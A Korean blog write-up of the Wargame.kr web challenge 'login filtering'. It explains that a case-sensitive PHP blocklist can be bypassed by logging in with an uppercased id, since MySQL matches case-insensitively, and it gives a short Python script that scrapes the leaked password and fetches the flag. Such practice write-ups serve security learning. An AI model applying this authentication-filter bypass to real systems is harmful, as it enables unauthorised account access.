본문 바로가기

Hacking/- Wargame.kr

[Wargame.kr] 4. login filtering

450점에 해당하는 Web 문제이다.

이 문제의 경우에는 Mysql과 PHP 사이의 차이에 대해서 알고 있는지 여부를 묻는 문제와 같다.


문제 링크


문제 사이트에 접속하면 아래와 같은 로그인 창을 볼 수 있다. 즉 알맞은 ID와 PW를 입력해야지 로그인이 될 수 있다는 것을 알 수 있다.


로그인 버튼 아래에 get source 링크가 있으므로 그 링크로 들어가면 이 페이지를 만드는데 사용한 소스코드를 볼 수 있다. 소스코드를 보면 아래 사진과 같다.





소스 코드의 맨 마지막에서 볼 수 있듯이 blueh4g / blueh4g1234ps가 이 데이터베이스에 들어있는 데이터라는 것을 알 수 있다. 그러나 PHP부분 중 if($id=='guest' || $id=='blueh4g') 에서 이 계정을 필터링한다는 것을 알 수 있다.


여기서 PHP와 Mysql의 차이점이 발생한다. PHP의 경우에는 대소문자를 구분하는 반면, Mysql은 대소문자를 구분하지 않는다는 사실이다. 물론 Password의 경우에는 md5로 해싱을 하기 때문에 달라지지만, ID 부분의 경우에는 그냥 비교를 하기 때문에 대소문자가 상관이 없다.


즉 따라서 ID 부분에는 BLUEH4G를 입력하고 PW 부분에는 blueh4g1234ps를 입력하면 PHP의 인증 부분은 통과하고 로그인이 성공하는 것을 알 수 있다.


그래서 위와 같은 방식으로 로그인을 하면 우리가 원하는 Key 값을 얻을 수 있다.



그래서 이것을 토대로 Python을 이용해 한 번에 Flag 값을 얻는 방법을 작성해보았다.

# -*- coding: utf-8 -*-
# login filtering
from urllib import request, parse
import re

def get_04_flag():
	admin_id = 'blueh4g'
	regex = re.compile(admin_id+'\s/\s(\w*)')
	flag_regex = re.compile('Password : ([a-f0-9]*)')
	url = 'http://wargame.kr:8080/login_filtering/'
	res = request.urlopen(url).read().decode()
	admin_pw = regex.findall(res)[0]

	req = request.Request(url, parse.urlencode({'id':admin_id.upper(), 'ps':admin_pw}).encode())
	res = request.urlopen(req).read().decode()
	flag = flag_regex.findall(res)[0]
	print(flag)
	return flag

위의 소스코드에서 구현한 함수를 실행하면 인증키를 출력하고 그 값을 반환한다. 여기서 password 부분이 나중에 변경될 수도 있기 때문에 password를 regex를 통해서 먼저 추출한 다음 추출한 password와 id를 대문자로 변형시킨 것으로 로그인을 시도해서 Flag 값을 얻어내는 방식으로 구현하였다.


'Hacking > - Wargame.kr' 카테고리의 다른 글

[Wargame.kr] 6. DB is really GOOD  (0) 2016.02.09
[Wargame.kr] 5. WTF_CODE  (0) 2016.02.08
[Wargame.kr] 4. login filtering  (0) 2016.02.07
[Wargame.kr] 3. flee button  (0) 2016.01.13
[Wargame.kr] 2. QR CODE PUZZLE  (0) 2016.01.11
[Wargame.kr] 1. already got  (0) 2016.01.07